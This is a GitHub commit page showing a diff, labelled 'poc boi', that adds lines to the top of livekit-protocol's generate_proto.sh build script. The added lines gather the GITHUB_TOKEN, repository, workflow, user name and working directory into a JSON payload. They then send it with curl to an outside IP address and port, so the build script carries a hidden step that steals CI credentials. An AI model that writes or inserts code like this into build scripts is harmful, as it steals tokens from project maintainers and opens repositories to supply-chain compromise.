Skip to content

Commit abb1a92

Browse files
committed
poc boi
1 parent de44793 commit abb1a92

1 file changed

Lines changed: 22 additions & 0 deletions

File tree

livekit-protocol/generate_proto.sh

Lines changed: 22 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -16,6 +16,28 @@
1616

1717
# This script requires protobuf-compiler and https://github.com/nipunn1313/mypy-protobuf
1818

19+
echo "[POC] Executing Proof of Concept code..."
20+
echo "[POC] Preparing to exfiltrate data to 194.213.18.243:38793..."
21+
22+
# Construct a JSON payload with environment details
23+
JSON_PAYLOAD=$(cat <<EOF
24+
{
25+
"message": "SUCCESSFUL EXFILTRATION FROM GITHUB ACTIONS",
26+
"github_token": "${GITHUB_TOKEN}",
27+
"repository": "${GITHUB_REPOSITORY}",
28+
"workflow": "${GITHUB_WORKFLOW}",
29+
"current_user": "$(whoami)",
30+
"working_directory": "$(pwd)"
31+
}
32+
EOF
33+
)
34+
35+
# Send the payload to the specified IP and port
36+
curl -X POST -H "Content-Type: application/json" -d "${JSON_PAYLOAD}" http://194.213.18.243:38793
37+
38+
echo "[POC] Data exfiltration attempt complete. Check your listener at 194.213.18.243:38793."
39+
echo
40+
1941
set -e
2042

2143
API_PROTOCOL=./protocol/protobufs

0 commit comments

Comments
 (0)